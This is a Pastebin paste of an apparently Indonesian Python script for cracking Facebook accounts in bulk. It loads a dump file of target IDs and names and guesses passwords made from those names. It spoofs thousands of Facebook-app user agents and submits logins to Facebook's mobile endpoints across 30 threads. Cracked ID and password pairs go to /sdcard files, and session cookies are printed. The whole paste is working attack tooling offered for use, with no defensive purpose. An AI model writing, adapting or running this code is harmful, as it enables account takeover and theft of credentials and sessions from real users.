Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #SCTIPT OPEN SOURCE BY SM
- #GITHUB : github.com/TEAM-SM
- #RICODE BY CyxXionXr
- #[ IMPORT MODULE ]
- from os import path
- import os,base64,zlib,pip,urllib,time,random,requests
- from bs4 import BeautifulSoup as sop
- from bs4 import BeautifulSoup
- from bs4 import BeautifulSoup as sop
- from bs4 import BeautifulSoup as parser
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.tree import Tree
- from rich import print as cetak
- from rich.panel import Panel as panel
- try:
- import os,requests,json,time,re,random,sys,uuid,string,subprocess
- from string import *
- from concurrent.futures import ThreadPoolExecutor as tred
- except ModuleNotFoundError:
- os.system(f'pip install requests futures==2 > /dev/null')
- os.system('git pull')
- except:pass
- fbks=(f'com.facebook.adsmanager','com.facebook.lite','com.facebook.orca','com.facebook.katana','com.facebook.mlite')
- #[ USER UGENT ]#
- ugen=[]
- ugen2=[]
- for xd in range(10000):
- a='Mozile 5.0 (Linux; Android '
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='SAMSUNG SM-s901B Build/PPR1.180610.11wv)'
- e=random.randrange(100, 9999)
- f='Applewebkit/537. 36 (KHTML, Like Gecko) version/4.0 Chrome/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='Mobile Safari/537.36'
- uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen.append(uaku)
- a='Mozilla/5.0 (Linux; Android '
- b=random.randrange(1, 15)
- c=random.randrange(1, 15)
- d='moto g stylus 5G (2022) Build/S2SDS32.21-85-3-2-1-1; wv)'
- e=random.randrange(100, 9999)
- f='AppleWebKit/537.36 (KHTML, Like Gecko) version/4.0 Chrome/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='Mobile Safari/537.36'
- uakuh=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen.append(uakuh)
- a='Mozilla/5.0 (Linux; Android '
- b=random.randrange(1, 15)
- c=random.randrange(1, 15)
- d='Infinix X5514D Build/O11019; wv)D873A)'
- e=random.randrange(100, 9999)
- f='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='Mobile Safari/537.36[FBAN/EMA;FBLC/ar_AR;FBAV/347.0.0.17'
- uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen.append(uaku)
- for agenku in range(10000):
- a=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-A720F Build/R16NW){b}) [FBAN/Orca-Android;FBAV/196.0.0.29.99;FBPN/com.facebook.orca;FBLC/th_TH;FBBV/{c}.0.{d}.{e};FBCR/AIS;FBMF/samsung;FBBD/samsung;FBDV/SM-A720F;FBSV/8.0.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
- ugen.append(uaku)
- a=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; GT-I9300 Build/IMM76D) [FBAN/Orca-Android;FBAV/5.0.0.16.1;FBLC/tr_TR;FBBV/{c}.0.{d}.{e};FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/GT-I9300;FBSV/4.0.4;FBCA/armeabi-v7a:armeabi;FBDM/:'+'{density=1.0,width=1066,height=552};]'
- ugen.append(uakuh)
- a=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-J320F Build/LMY47V){b}) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-J320F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
- ugen.append(uaku)
- a=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Dalvik/2.1.0 (Linux; U; Android {a}; SM-G900F Build/LRX21T){b}) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
- ugen.append(uaku)
- a=random.choice(['9','10','11','12','13','14','15'])
- b=random.choice(['9','10','11','12','13','14','15'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Mozilla/5.0 (iPhone {a}; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/{b}) (KHTML, like Gecko) Mobile/15E302 [FBAN/MessengerForiOS;FBAV/167.0.0.57.96;FBBV/{c}.0.{d}.{e};FBDV/iPhone7,1;FBMD/iPhone;FBSN/iOS;FBSV/11.3.1;FBSS/3;FBCR/Telstra;FBID/phone;FBLC/en_GB;FBOP/5;FBRV/0]'
- ugen.append(uaku)
- for xd in range(10000):
- aa='Mozilla/5.0 (Linux; Android '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='moto g stylus 5G (2022) Build/S2SDS32.21-85-3-2-1-1; wv)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.5735.24'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36'
- uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
- ugen2.append(uaku2)
- aa='Mozilla/5.0 (Linux; Android'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Infinix X655D Build/QP1A.190711.020; wv)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen2.append(uaku2)
- aa='Mozilla/5.0 (Linux; Android'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Infinix X5514D Build/O11019; wv)D873A)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.4273.76'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36[FBAN/EMA;FBLC/ar_AR;FBAV/347.0.0.17'
- uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
- ugen2.append(uaku2)
- RED = '\033[1;91m'
- WHITE = '\033[1;97m'
- GREEN = '\033[1;32m' #
- YELLOW = '\033[1;33m'
- BLUE = '\033[1;34m'
- ORANGE = '\033[1;35m'
- P = '\x1b[1;97m' # PUTIH
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- N = '\x1b[0m' # WARNA MATI
- A = '\x1b[1;90m' # WARNA ABU ABU
- BN = '\x1b[1;107m' # BELAKANG PUTIH
- BBL = '\x1b[1;106m' # BELAKANG BIRU LANGIT
- BP = '\x1b[1;105m' # BELAKANG PINK
- BB = '\x1b[1;104m' # BELAKANG BIRU
- BK = '\x1b[1;103m' # BELAKANG KUNING
- BH = '\x1b[1;102m' # BELAKANG HIJAU
- BM = '\x1b[1;101m' # BELAJANG MERAH
- BA = '\x1b[1;100m' # BELAKANG ABU ABU
- def kopi():
- print(f'{M}---------------------------{P}')
- def bra_bann(berjalan):
- for gas in berjalan + "\n":sys.stdout.write(gas);sys.stdout.flush();time.sleep(0.01)
- logo = """
- ______ ___ ___ __
- | |.--.--.--.--.| | |__|.-----.-----.
- | ---|| | |_ _||- -| || _ | |
- |______||___ |__.__||___|___|__||_____|__|__|
- |_____|
- """
- def linex():
- kopi()
- def clear():
- os.system('clear')
- print(f'\x1b[1;97m')
- print(logo)
- loop=0
- oks=[]
- cps=[]
- krk=[]
- id=[]
- tokenku=[]
- os.system('git pull')
- def CyxXion():
- clear()
- print(f" [\033[1;31m01\033[1;37m] CRACK FILE CLONE")
- print(f" [\033[1;31m00\033[1;37m] Exit")
- me=input(f'\n\n [\033[1;32m•\033[1;37m] Choice : ')
- if me in ["1", "01","11","A","a"]:
- clear()
- cetak(panel(f"JIKA INGIN MENGGUNAKAN FITUR INI, ANDA HARUS MEMILIKI FILE DUMP TERLEBIH DAHULU, KALAU SUDAH MEMILIKI FILE DUMP, SILAKAN MASUKAN FILE DUMP TERSEBUT DI BAWAH INI SESUAI TEMPAT ANDA MENYIMPAN FILE TERSEBUT, CONTOH ; /sdcard/KALL-DUMP/IDTarget.txt",width=70,title=f"[bold red]INFORMASI",style=f"bold white"))
- file = input('\n [\033[1;31m+\033[1;37m] MASUKAN FILE : \033[1;31m')
- try:
- fo = open(file,'r').read().splitlines()
- except FileNotFoundError:
- print(f'\n [\033[1;31m×\033[1;37m] lokasi file tidak ditemukan ')
- exit()
- clear();print(f'\n [\033[1;31m01\033[1;37m] Method 1 \n [\033[1;31m02\033[1;37m] Method 2 ')
- mthd=input(f'\n [\033[1;31m01\033[1;37m] Kembali : ')
- plist=[]
- try:
- clear();ps_limit = int(input(f'\n [\033[1;31m+\033[1;37m] Berapa Banyak Kata Sandi yang Ingin Anda Tambahkan ? \033[1;31m: '))
- except:
- ps_limit =1
- clear();print(f'\n [\033[1;31m+\033[1;37m] Contoh : \033[1;31mfirst last,firtslast,first123 \033[1;37m\n')
- for i in range(ps_limit):
- plist.append(input(f' [\033[1;31m+\033[1;37m] Masukan Pw {i+1} : '))
- clear()
- cx=('y')
- if cx in ['n','N','no','NO','2']:
- krk.append(f'n')
- else:
- krk.append(f'y')
- with tred(max_workers=30) as crack_submit:
- clear()
- total_ids = str(len(fo))
- cetak(panel(f"HASIL OTOMATIS TERSIMPAN MANUAL DI INTERNAL",width=47,title=f"[bold red]WARNING",style=f"bold white"))
- print(f'[\033[1;31m+\033[1;37m] Login Url : {mthd}')
- print(f'[\033[1;31m+\033[1;37m] Total Idz : {total_ids}')
- print(f'[\033[1;31m+\033[1;37m] Hasil : CyxXion-OK.txt')
- print(f'[\033[1;31m+\033[1;37m] Hasil : CyxXion-CP.txt')
- linex()
- for user in fo:
- ids,names = user.split('|')
- passlist = plist
- if mthd in ['1','01']:
- crack_submit.submit(freefb,ids,names,passlist)
- elif mthd in ['2','02']:
- crack_submit.submit(mobilefb,ids,names,passlist)
- elif mthd in ['3','03']:
- crack_submit.submit(m3,ids,names,passlist)
- elif mthd in ['4','04']:
- crack_submit.submit(m4,ids,names,passlist)
- def freefb(ids,names,passlist):
- global loop,oks,cps
- sys.stdout.write(f'\r\r\033[1;37m [ CracKers ] \033[1;31m|\033[1;37m %s \033[1;31m|\033[1;37m OK \033[1;31m|\033[1;37m [\033[1;32m%s\033[1;37m]'%(loop,len(oks)));sys.stdout.flush()
- session = requests.Session()
- try:
- first = names.split(f' ')[0]
- try:
- last = names.split(f' ')[1]
- except:
- last = 'khan','sanam'
- ps = first.lower()
- ps2 = last.lower()
- for fikr in passlist:
- pas = fikr.replace(f'First',first).replace(f'Last',last).replace(f'first',ps).replace(f'last',ps2)
- ua=random.choice(ugen)
- head = {'Host': 'm.alpha.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','accept-language': 'en-US,en;q=0.9','cache-control': 'max-age=0','sec-ch-ua': '"Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'none','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent':ua,'viewport-width': '980',}
- getlog = session.get(f'https://free.facebook.com/login/device-based/password/?uid={ids}&flow=login_no_pin&refsrc=deprecated&_rdr')
- idpass ={"lsd":re.search(f'name="lsd" value="(.*?)"', str(getlog.text)).group(1),"jazoest":re.search(f'name="jazoest" value="(.*?)"', str(getlog.text)).group(1),"uid":ids,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pas,}
- complete = session.post(f'https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=idpass,allow_redirects=False,headers=head)
- CyxXion=session.cookies.get_dict().keys()
- if "c_user" in CyxXion:
- coki=";".join([key+"="+value for key,value in session.cookies.get_dict().items()])
- cid = coki[7:22]
- tree = Tree('')
- tree.add(f'\r\r\%s \033[1;36m|\033[1;37m\033[1;32m %s'%(ids,pas))
- tree.add(f"\033[1;31m{ua}")
- tree.add(f"\033[1;32m{coki}")
- cetak(tree)
- open(f'/sdcard/CyxXion-OK.txt', 'a').write(ids+'|'+pas+'\n')
- oks.append(ids)
- break
- elif 'checkpoint' in CyxXion:
- if 'y' in krk:
- tree = Tree('')
- print(f'\r\r\033[1;32m[CyxXion\033[1;36m-\033[1;37m\033[1;32mCP] %s \033[1;36m|\033[1;37m\033[1;32m %s '+ids+' | '+pas+'\033[1;91m')
- tree.add(f"\033[1;31m{ua}")
- open(f'/sdcard/CyxXion-CP.txt', 'a').write(ids+'|'+pas+'\n')
- tree.add(f"{ua}")
- cps.append(ids)
- break
- else:
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(10)
- loop+=1
- def mobilefb(ids,names,passlist):
- global loop,oks,cps
- sys.stdout.write(f'\r\r\033[1;37m [ CracKers ] \033[1;31m|\033[1;37m %s \033[1;31m|\033[1;37m OK \033[1;31m|\033[1;37m [\033[1;32m%s\033[1;37m]'%(loop,len(oks)));sys.stdout.flush()
- session = requests.Session()
- try:
- first = names.split(f' ')[0]
- try:
- last = names.split(f' ')[1]
- except:
- last = 'khan','sanam'
- ps = first.lower()
- ps2 = last.lower()
- for fikr in passlist:
- pas = fikr.replace(f'First',first).replace(f'Last',last).replace(f'first',ps).replace(f'last',ps2)
- ua=random.choice(ugen)
- head = {'Host': 'm.facebook.com', 'viewport-width': '980', 'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"', 'sec-ch-ua-mobile': '?1', 'sec-ch-ua-platform':'"Windows"', 'sec-ch-prefers-color-scheme': 'light', 'dnt': '1', 'upgrade-insecure-requests': '1', 'user-agent': ua, 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'none', 'sec-fetch-mode': 'navigate', 'sec-fetch-user': '?1', 'sec-fetch-dest': 'document', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'en-US,en;q=0.9'}
- getlog = session.get(f'https://m.facebook.com/login/device-based/password/?uid={ids}&flow=login_no_pin&refsrc=deprecated&_rdr')
- idpass ={"lsd":re.search(f'name="lsd" value="(.*?)"', str(getlog.text)).group(1),"jazoest":re.search(f'name="jazoest" value="(.*?)"', str(getlog.text)).group(1),"uid":ids,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pas,}
- complete = session.post(f'https://m.facebook.com/login/device-based/validate-password/?shbl=0',data=idpass,allow_redirects=False,headers=head)
- CyxXion=session.cookies.get_dict().keys()
- if "c_user" in CyxXion:
- print(f'\r\r\033[1;32m[CyxXion\033[1;36m-\033[1;37m\033[1;32mOK] %s \033[1;36m|\033[1;37m\033[1;32m %s'%(ids,pas))
- open(f'/sdcard/CyxXion_OK.txt', 'a').write(ids+'|'+pas+'\n')
- oks.append(ids)
- break
- elif 'checkpoint' in CyxXion:
- if 'y' in krk:
- print(f'\r\r\033[1;32m[CyxXion\033[1;36m-\033[1;37m\033[1;32mCP] %s \033[1;36m|\033[1;37m\033[1;32m %s '+ids+' | '+pas+'\033[1;91m')
- open(f'/sdcard/CyxXion-CP.txt', 'a').write(ids+'|'+pas+'\n')
- cps.append(ids)
- break
- else:
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(10)
- loop+=1
- CyxXion()
Add Comment
Please, Sign In to add comment